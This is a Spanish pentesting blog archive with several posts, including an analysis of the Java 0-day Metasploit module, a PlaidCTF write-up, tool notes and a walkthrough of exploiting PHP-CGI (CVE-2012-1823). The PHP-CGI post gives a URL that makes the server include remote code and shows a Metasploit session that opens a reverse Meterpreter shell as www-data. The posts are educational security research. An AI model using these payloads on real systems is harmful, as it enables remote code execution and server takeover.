Como ya sabréis, el pasado domingo se publicaba en el blog de FireEye la existencia de un exploit 0-day para Java que estaba siendo utilizado para infectar a los usuarios que navegaran por las webs controladas por los atacantes. Este tema ha sido ampliamente tratado en otros blogs durante estos días, tanto de habla Inglesa como Española (y entiendo que en todos los idiomas): SecurityByDefault, S21sec, Immunity, Hexale, Hispasec, Snort, AlienVault, etc (sin ningún orden concreto, tal y como los tengo en las pestañas del navegador).

En alguno de estos blogs mencionan la publicación del código fuente del exploit en Pastie.Org como si fuera el código fuente original, pero a mi me da la sensación de que es una PoC creada por jduck que posteriormente se ha convertido en un módulo para Metasploit.

Como ya conocéis todos mi debilidad por este framework, vamos a pegar un vistazo al módulo que han creado los chicos de Rapid7 para Metasploit, que podemos encontrar en "modules/exploits/multi/browser/java_jre17_exec.rb":


No sé si muchos de vosotros lo sabéis, pero no todos los exploits de Metasploit se encuentran 100% programados en Ruby. Algunos de ellos se encuentran programados aparte, y el módulo de Metasploit lo que hace es modificar el binario para añadir el Payload que elegimos desde el framework. Estos exploits programados aparte se encuentran en el directorio "data/exploits/". Concretamente, en éste módulo podemos ver como genera el payload que haya elegido el usuario, se codifica como un JAR y se "mezcla" con los ficheros existentes en "data/exploits/CVE-2012-XXXX/".

En este directorio tenemos un fichero "Exploit.class" que por supuesto podríamos decompilar y estudiar su contenido, pero es más inmediato ir al directorio donde Metasploit se guarda los códigos fuente de las partes que lleva compiladas (Meterpreter, elevación de privilegios o, como en este caso, Java): "external/source/".

En este directorio, dentro de "exploits/CVE-2012-XXXX/" podemos encontrar un fichero "Exploit.java" que es el código fuente del class del que hablamos antes. Si le pegamos un vistazo encontramos que realiza una única llamada a una función "disableSecurity()", que es la que lleva toda la chicha y otorga permisos de master del universo a la instancia, para luego ejecutar el payload que se haya elegido. En el código publicado por jduck era una calculadora y aquí lo han cambiado por un payload de Metasploit, pero el resto del código es identico.


Aquí entraríamos al análisis del propio exploit, que vamos a hacer muy por encima, ya que otros blogs se han ocupado de ello. Una de las cosas que vas a leer en otros blogs si decides profundizar más es que hablan mucho de que el exploit hace cosas "por reflexión". Si no eres un programador de Java o una persona que ya haya investigado con anterioridad sobre estos temas, es posible que no entiendas que quiere decir con "Reflexión": La manera habitual de utilizar un objeto es llamar a sus métodos, pero Java permite realizar ciertas acciones sobre ellos como listarlos, llamarlos e incluso cambiarlos, algo que no es posible en otros lenguajes y que recibe el nombre de "Reflexión".

En este caso vamos a optar por una explicación Top-Down. Vamos a suponer que existe una función mágica "SetField" que es capaz de cambiar el contenido de cualquier campo de cualquier objeto a nuestro gusto, y vamos a ver si entendemos que hace "disableSecurity()": No he encontrado documentación sobre el campo "acc", pero se comenta en la información publicada que es un método privado y que en principio no debería ser accesible más que desde el propio objeto, por lo que es posible que no se encuentre documentado. Esta función crea un objeto del tipo AccessControlContext con todos los permisos y se lo asigna a "acc". Al ejecutar ese Statement, el nuevo contexto es aplicado, con lo que a partir de este momento todo lo que se ejecuta lo hace sin ningún tipo de restricciones.

Pero... eso es confiado en la magia de "SetField" ¿cómo lo hará?


Aquí viene el primero de las vulnerabilidades utilizadas en este exploit. Siguiendo la linea de lo que hemos hecho antes, vamos a suponer que el método "GetClass" es un método que nos permite obtener de algún modo cualquiera de las clases que existan, independientemente de sus restricciones. Como podemos ver, se obtiene por reflexión el método "sun.awt.SunToolkit->getField()", que nos va a permitir acceder al campo que queramos del objeto que queramos, aunque sea privado (en este caso, por la llamada anterior, "acc"). Una vez que este campo es accesible, se puede cambiar su contenido con lo que la magia de esta función queda explicada.

Según he podido leer, este es el punto que hace que la vulnerabilidad funcione en jre7 pero no en jre6, ya que parece ser que el método getField() no puede ser accedido con esta técnica en jr6.

Pero claro, todo esto suponiendo que podemos acceder a "sun.awt.SunTookit", que como todos los objetos "sun.*" no debería ser accesible desde un Applet. Aquí viene la segunda de las vulnerabilidades. Vamos a ello:


En este caso, se usa una vulnerabilidad en "com.sun.beans.finder.ClassFinder.findClass" pero que se explota a través de una llamada a "forName" para poderse saltarse la restricción que comentábamos anteriormente y poder acceder al objeto "sun.awt.SunToolkit".

Si ahora todo esta magia, juntita y con un poco de Metasploit de por medio y tenemos...


Solo una cosa a tener en cuenta, en este caso no todos los Payloads habituales son compatibles con este exploit (por la forma en que ha sido programado). Si por ejemplo intentais utilizar el Meterpreter "tradicional" no os va a funcionar. Podeis mirar con el comando "show payloads" cuando estéis dentro del módulo cuales son los Payloads compatibles, que veréis que básicamente son un par de los genéricos y los de Java. En mi caso yo he usado el Meterpreter Java. Por supuesto, una vez obtenido el control del sistema, nada os impide subir el Meterpreter nativo.

Si quereis información en más en profundidad, sin desmerecer el gran trabajo que han hecho en otros blogs, a mi me ha gustado particularmente el de Immunity, por el gran detalle a bajo nivel y las referencias a la documentación oficial de Sun. Si por el contrario estás más preocupado de como protegerte, en SecurityByDefault han publicado las formas en las que podemos deshabilitar Java de los principales navegadores. Si trabajas en una empresa y no puedes permitirte deshabilitar Java porque usais aplicaciones internas que emplean applets Java, siempre tenéis la opción de bloquear las páginas con Applets Java en el perímetro, en los proxies o similar.

martes, 14 de agosto de 2012

Crawling con Sitemap2Proxy

En nuestro trabajo diario, tanto para hacer un Pentest como para muchas otras disciplinas dentro del mundo de la seguridad, es común que tengamos que hacer Crawling automático de algún sitio web para poder tener accesible toda su estructura y contenido sin tener que ir link a link pinchando en todos los enlaces.

El Crawling (Wikipedia English | Wikipedia Español), al contrario de lo que pueda parecer, no es algo nada trivial de hacer. Hace años, cuando todos los websites estaban formados por HTML estáticos, un wget recursivo bastaba para hacernos con el contenido completo de un site, pero hace años que los Javascript, Ajax, Flash y un sin fin de tecnologías web, hacen que el hecho de "seguir los enlaces" no resulte nada trivial.

Una alternativa a hacer un crawling tradicional es utilizar los Sitemaps. Un Sitemap es una fichero XML en el que el desarrollador o administrador de un sitio web introduce una especie de inventario de todas las URL que existen en su site, para facilitar el crawling por parte de los buscadores como Google, Yahoo, etc. Estos ficheros, tienen una pinta como la siguiente:


Como podeis ver, el XML proporciona información muy útil para un buscador, como por ejemplo las URLs que existen y la fecha de última modificación de cada una de ellas. Sabiendo esto, el buscador puede decidir si tiene indexada el contenido más reciente de la URL o si por el contrario es necesario volver a crawlear esa URL para actualizar su información.

Pues bien, hace un par de días observé que Robin Wood, compañero en el Advisory Board del SANS Institute, y al que seguro conoceis si seguís listas de correo de seguridad en Inglés, había publicado una herramienta llamada Sitemap2Proxy, que podeis descargar de su página web AQUÍ.


$ ./sitemap2proxy.rb 
You must specify either a file or URL to process

sitemap2proxy 1.0 Robin Wood (robin@digininja.org) (www.digininja.org)

Usage: sitemap2proxy [OPTIONS]
--help, -h: show help
--file, -f : local file to parse
--url, -u : URL to the file
--proxy, -p : address of the proxy
--ua, -a : specify an alternative user agent - default is Googlebot
-v: verbose

La herramienta está desarrollada en Ruby y puede funcionar de dos formas diferentes: Por un lado, puedes pasarle la URL donde está el fichero sitemap.xml y él se encarga de descargarlo y extraer las URLs. Por otro lado, puedes descargar tu mismo el fichero sitemap.xml (o .xml.gz, a veces viene comprimido) y hacer lo mismo desde un fichero local. El segundo parámetro obligatorio es el proxy (que generalmente será http://localhost:8080), que define a través de que proxy se va a acceder a las URLs que se encuentren al analizar el sitemap, con lo que vamos a poder tener un inventario de todas las URLs en nuestro proxy favorito (Burp, ZAP, o el que sea). Por último, opcionalmente podemos definir el User-Agent que se utilizará para acceder a las URLs, aunque por defecto usa el de GoogleBot, que debería ser suficiente como para no tener problemas. Al final, una llamada a esta herramienta podría ser tal que así:

$ ./sitemap2proxy.rb --url http://www.una-web.es/sitemap.xml --proxy http://localhost:8080 -v

Sabiendo esto, me decidí a probar que tal funcionaba la herramienta con alguna página conocida, así que realicé una sencilla búsqueda en Google para obtener algunos ficheros XML con los que poder jugar:


He tapado (y voy a tapar en el resto de capturas) los nombres de las webs, aunque por supuesto podeis obtenerlas de una forma trivial, pero al menos no os las doy directamente.

Cogiendo alguno de estos ficheros XML hice algunas pruebas, y en aquellos casos en que el fichero XML era único, la herramienta funcionaba a las mil maravillas, pero también me encontré con casos como este:


Como podéis ver, en algunos casos, los XML hacen referencia a su vez a otros XML de forma jerárquica, y la herramienta en este momento no está preparada para seguir recursivamente esta jerarquía, lo cual resulta un problema para hacer el crawling de la web.

Esto puede ser solucionado aplicando un poco de simple shellscript, es decir, haciendo que todos estos ficheros se descarguen a local y luego haciendo que la herramienta se ejecuta sobre cada uno de ellos. La otra opción, que fue la que hice yo, es hacer algunas modificaciones sobre la herramienta original para que sea capaz de seguir la jerarquía de XMLs y obtener así todas las URLs de la web.


Mientras estaba realizando estas pruebas pensé en publicar el código con mis modificaciones, pero tratándose de la herramienta de un compañero del Advisory Board me pareció muy poco elegante hacerlo, así que lo que he hecho ha sido ponerme en contacto con Robin y mandarle las modificaciones que he hecho, así que es probable que dentro de poco tengamos una versión 1.1 de la herramienta que incorpore esta capacidad de recursividad.

Por último, una pregunta que me surgió al acabar de probar la herramienta es ¿y si la web que queremos crawlear no tiene sitemap? Esta parte no la he llegado a probar, pero parece ser que existen herramientas on-line como ésta para generar el sitemap.xml de la web que le pasemos. Estas herramientas on-line no dejarán de hacer un crawling de la web, con toda la problemática que ello conlleva, pero de una forma mucho más anónima para nosotros :)

viernes, 1 de junio de 2012

Evento Community SANS en Madrid


El próximo mes de Septiembre, durante su segunda quincena, tendrá lugar en Madrid un evento Community SANS. Tal y como ya comentamos en esta guía del SANS, un Community SANS es un evento en el que se realiza uno de los cursos oficiales del SANS, pero con la particularidad de no encontrarse dentro de una de las Conferencias del SANS, y donde además el curso se imparte en el idioma local (aunque los materiales están en Inglés).

En este caso, son dos los cursos de SANS que hay disponibles, algo poco habitual en un Community SANS: "SEC-503: Intrusion Detection In-Depth" y "SEC-560: Network Penetration Testing & Ethical Hacking".

Otra de las particularidades que va a tener este evento es que, en lugar de hacerse durante una semana (6 días de 6 horas) se va a dividir en dos semanas de la siguiente forma:
  • Semana 1: Jueves (20), Viernes (21) y Sábado (22)
  • Semana 2: Jueves (27), Viernes (28) y Sábado (29)
Esta nueva distribución espera facilitar la asistencia de los alumnos en el horario de 09:00-17:00 en el que se impartirán las clases. Las clases tendrán lugar en Alcobendas (Madrid), y los profesores serán:

Ismael Valenzuela



Ismael Valenzuela (blog, twitter) es en la actualidad Principal Architect en McAfee Foundstone EMEA. Durante los últimos 11 años ha participado en proyectos de seguridad de ámbito internacional en todas sus vertientes, desde la gestión de la seguridad y el análisis de riesgo a las más técnicas como la repuesta ante incidentes, la detección de intrusos y el análisis forense y de malware. 

Además de su titulación en Ingeniería Informática y Alta Dirección de Empresas, ostenta nueve certificaciones GIAC (GREM, GCFA, GCIA, GCIH, GPEN, GCUX, GCWN, GWAPT, GSNA) así como CISSP, ITIL, CISM e IRCA 27001 Lead Auditor. 

También participa activamente en la comunidad de seguridad escribiendo artículos para revistas como Hakin9, INSECURE Magazine y el SANS Forensics Blog.

Jose Selvi
Jose Selvi (yo) (blog, twitter) es en la actualidad Senior Pentester en S21sec. Durante los últimos 9 años se ha dedicado principalmente a la realización de Test de Intrusión, la Gestión de Incidentes y la Detección de Intrusiones.

Además de su titulación en Ingeniería Informática e Ingeniería en Telecomunicaciones, ostenta las certificaciones CISA, CISSP, CNAP, GSEC, GCIA, GCIH, GPEN, y se encuentra en la actualidad preparando su Tesis Doctoral.

También es ponente habitual de las conferencias de seguridad Españolas, colaborador de revistas como Pentest Magazine y escritor de éste blog (Pentester.Es).

Más información, precios y registro en la web del SANS: AQUÍ (SEC503) o AQUÍ (SEC560). También en el portfolio publicado por SANS AQUÍOJO! Antes de registrarse es necesario contactar con los profesores en el correo madrid2012@pentester.es

¿Tú qué?
¿ATACAS O DEFIENDES?


sábado, 12 de mayo de 2012

BestFakeDNS incorporado en Metasploit

Hace algunas semanas estuvimos hablando de BestFakeDNS, unas modificaciones que he realizado sobre el módulo FakeDNS original de Metasploit para permitir el uso de Wildcards y para elegir si la lista de objetivos queremos que los resuelva correctamente o con la respuesta falsa (y los que no están en la lista de la forma contraria, claro).

Esta mejora, además de publicarlas AQUÍ, la aporté como mejora al equipo de desarrollo de Metasploit, por si querían incorporarla, y esta misma mañana, después de algunos comentarios, he recibido la notificación de que se cerraba el PULL:


En teoría, tras incorporar IP y Puerto en los mensajes que muestra el módulo, mis mejoras estaban listas para ser incorporadas al trunk principal de la herramienta. Me fui inmediatamente a hacer una actualización a ver si la versión disponible para descarga ya lo incorporaba.



Como podeis ver, ya podeis disponer de esta funcionalidad sin tener que descargar el módulo, simplemente a partir de ahora cuando useis el fakedns de Metasploit esta funcionalidad estará incorporada.

Por desgracia parece que han olvidado hacer algún tipo de referencia a que esa mejora ha sido aportada por mi, ya que no aparezco por ningún lado en los créditos del módulo, pero bueno, lo importante es que la funcionalidad está disponible, que al fin y al cabo era lo que pretendía.

jueves, 10 de mayo de 2012

The Game del PlaidCTF

Como os comentaba en mi anterior post, hace un par de semanas estuve intentando un par de retos del PlaidCTF. El que más me gustó de los dos fue el que ya os he explicado, pero además de ese también hice uno llamado "The Game" (que para mi gusto era más de programación que de hacking en sí) y que decía tal que así:

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
184.73.47.70:6969


Si conectábamos a la IP y puerto que decían mediante NCat o Telnet, nos devolvía algo así:

You have gotten 0 of 75
Choice 1 = 81dc9bdbf52d04dc20a036dbd8313ed055
Choice 2 = e2f1c714c4727ee9395af324cd2e7f331f
Which one is bigger? (1 or 2)


El sistema nos da dos churros incomprensibles y nos pide que digamos cual es mayor. Después de observar unas cuentas veces no parece que el orden sea por su ordenación ASCII, ni que sean hashes de números ni nada similar, así que tendremos que asumir que lo único que podemos hacer es ir aprendiendo que "churro" es mayor que otro por medio de observación de las respuestas del servidor.

Pepelux también estuvo pegándose con el reto y lo sacó de una manera similar aunque no idéntica a la que voy a explicar yo. Podeis verlo AQUÍ.

Para explicar el concepto del algoritmo utilizado vamos a suponer que la máquina elige 5 elementos diferentes (en el original serían hashes, y muchos más en cantidad, pero como ejemplo nos vale) que a priori el cliente no sabe en que orden van, aunque el servidor sí que conozca su orden:


El orden es lo de menos en realidad, pero supongamos que el servidor conoce a estos personajes y sabe que LUKE, aunque sea prota, es un poco soso, que CHEWIE es el papel más sencillo de aprender de la historia, pero que tiene mucho carisma, que YODA es el maestro de maestros pero OBIWAN siempre me ha gustado más, y que por supuesto VADER es el más grande de todos.

La primera idea de algoritmo que tuve es una lista a la que pudiera ir cambiando el orden según los descubrimientos que fuera haciendo, pero se me ocurrió que tenía la pega de que habría que recorrerla cada vez para buscar los elementos que queremos, y eso me parecía un poco "coñazo".

Por eso, pensando en alguna forma en que las búsquedas fueran muy rápidas, decidí usar un tipo de dato diccionario de Python, en los que los índices para buscar fueran los propios hashes, lo cual me permitía buscar el hash de una forma muy rápida. Pero... ¿cómo hacía después para comparar ambos hashes? Pues asignaba un valor entero "tentativo" a cada uno, así solo tenía que acceder por el hash, recuperar sus enteros y compararlos.

Con un pequeño ejemplo ayudado de nuestros amigos de Star Wars seguro que se entiende el algoritmo mucho mejor:

Antes de empezar comentaros que tenemos una variable "step" que la inicializamos a un valor muy alto. Para nuestro ejemplo lo haremos a 100, pero para el caso real se haría a un valor mucho mayor.

1. ¿OBIWAN o CHEWIE?: Ninguno de los dos está en el diccionario, así que elegimos al segundo como mayor. El sistema nos dice que FALLAMOS, así que hacemos lo siguiente:

        dic['CHEWIE'] = 0
        dic['OBIWAN'] = dic['CHEWIE'] + step = 100
        step = step / 2 = 50

2. ¿LUKE o VADER?: Idem que antes. Elegimos el segundo y esta vez ACERTAMOS:

        dic['LUKE'] = 0
        dic['VADER'] = dic['LUKE'] + step = 50
        step = step / 2 = 25

3. ¿YODA o CHEWI?: Yoda no lo tenemos aún, así que lo escogemos como mayor y ACERTAMOS:

        dic['YODA'] = dic['CHEWI'] + step = 25
        step = step / 2 = 12

Vamos a ver como va la cosa en el diccionario y seguimos unos pocos más:

        dic['CHEWIE'] = 0
        dic['LUKE'] = 0
        dic['YODA'] = 25
        dic['VADER'] = 50
        dic['OBIWAN'] = 100

4. ¿LUKE o CHEWI?: Están empatados, así que cogemos cualquiera, el primero mismo, y FALLAMOS:

        dic['CHEWIE'] = dic['LUKE'] + step = 12
        step = step / 2 = 6

5. ¿VADER o YODA?: Vader es 50 y Yoda es 25, así que elegimos a Vader y ACERTAMOS, con lo que no tocamos nada, dejamos el diccionario como está.

6. ¿OBIWAN o VADER?: Obiwan es 100 y Vader 50, así que elegimos a Obiwan y FALLAMOS:

        dic['VADER'] = dic['OBIWAN'] + step = 106
        step = step / 2 = 3

Vamos a pegar otro vistazo a como llevamos la ordenación por ahora:

        dic['LUKE'] = 0
        dic['CHEWIE'] = 12
        dic['YODA'] = 25
        dic['OBIWAN'] = 100
        dic['VADER'] = 106

Parece que a partir de este punto ya tenemos valores bien asignados en el diccionario, así que a partir de aquí todo van a ser aciertos, 75 o todos los que queramos. Lo único que hay que tener en cuenta es que el parametro step debe estar dimensionado a la cantidad de pasos que pensemos que vamos a necesitar.

Si por ejemplo calculamos que vamos a necesitar N pasos para aprender, entonces tenemos que elegir un step que sea 2^N, para que al ir dividiendo entre dos no nos vayamos a decimales. Tampoco pasaría nada siempre y cuando Python permita representar suficientes decimales (que no tengo ni idea de cuantos permite).

Esta es la idea del script que hice para superar el reto, solo que con un "step" mucho más grande y empleando los hashes en lugar de a nuestros amigos de Star Wars. Podeis descargar el script de AQUÍ si tenéis curiosidad en verlo completo. Lamentablemente tardaba bastante la ejecución y tuve que irme antes de que acabara, y cuando lo volví a lanzar ya se había acabado el tiempo del CTF y el servicio no estaba disponible, pero me programé yo un servicio que realizaba lo mismo (con unos pocos elementos) y la solución funcionaba perfectamente, por lo que presumiblemente debería funcionar igual con el servicio real.

Si los PPP publican el código del servicio de este reto lo probaré con él y pondré como una actualización en resultado.

sábado, 5 de mayo de 2012

Explotando PHP-CGI

Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se había publicado una vulnerabilidad en PHP que podría permitir la ejecución de código de forma remota (CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en los que PHP ha sido configurado como CGI, y no como módulo del servidor web, que hasta donde yo sé la configuración más habitual. No obstante, existen conocidos servicios que emplean PHP como un CGI, por lo que aunque no sea la configuración más extendida, el impacto de la vulnerabilidad podría resultar ser muy grave:


La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por Rubén Santamarta el año pasado, y que ya comentamos aquí [1] [2].

El concepto es: El servicio coge una serie de parámetros, entre ellos algunos (o todos) proporcionados por el usuario, y construye una llamada a un binario del sistema. Si no existe un filtrado correcto de dichos parámetros proporcionados por el usuario, podemos llamar al binario añadiendo opciones que el servicio no espera. Por poner un ejemplo (pseudo-código):

Binary = "PrintName.exe"
Args = "-n " + username
execute( Binary, Args )

Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese binario tiene una opción "-cmd" que le hace ejecutar el comando que se le pase, el usuario estaría consiguiendo ejecutar el comando "id" para ver los privilegios del usuario que ejecuta el servicio (en un Unix).

Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible añadir parámetros en la llamada a php-cgi cuando es llamado para interpretar una página, pero... ¿qué opciones nos da el binario php-cgi? Podemos ver todas sus opciones en la web de PHP (pone que es para el binario php, pero son las mismas opciones para php-cgi, por lo que he podido ver). De entre ellas, hay un par que resultan especialmente interesantes:

-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used


Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:


Nombre
Por defectoCambiableHistorial de cambios
allow_url_include"0"PHP_INI_ALLPHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0.
auto_prepend_fileNULLPHP_INI_PERDIRPHP_INI_ALL en PHP <= 4.2.3.

Bueno, pues parece que ya vamos viendo la luz al final del túnel: Si activamos que permita incluir URLs y hacemos que incluya el código PHP que queramos, ya podemos pasar a cosas más interesantes. Tendríamos entonces que construir una URL tal que así:

http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt

Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial php://input que lo que hace referencia es al contenido proporcionado por la entrada estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:



BINGO! Parece que ya podemos ejecutar código PHP, así que la cosa marcha, pero mejor que código PHP sería mejor ejecutar comandos del sistema operativo. Para eso solo hay que jugar un poquito con el PHP y pasarle algo así:


A partir de aquí ya solo tenemos que cambiar el contenido del parámetro "cmd" que estamos pasando por POST y poner el comando que queramos, y eso se ejecutará en el sistema con las restricciones que haya aplicado el sysadmin al usuario que ejecuta el servicio.

Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de Metasploit ya ha desarrollado un módulo llamado "php_cgi_arg_injection", lo cual hace muchísimo más sencilla su explotación:

$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf  exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf  exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf  exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf  exploit(php_cgi_arg_injection) > set TARGETURI /
msf  exploit(php_cgi_arg_injection) > exploit


[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012


meterpreter > sysinfo
OS          : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer    : bt
Meterpreter : php/php


meterpreter > getuid
Server username: www-data (33)


meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:


    -L  The local host to listen on (optional).
    -h        Help banner.
    -l  The local port to listen on.
    -p  The remote port to connect to.
    -r  The remote host to connect to.

No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.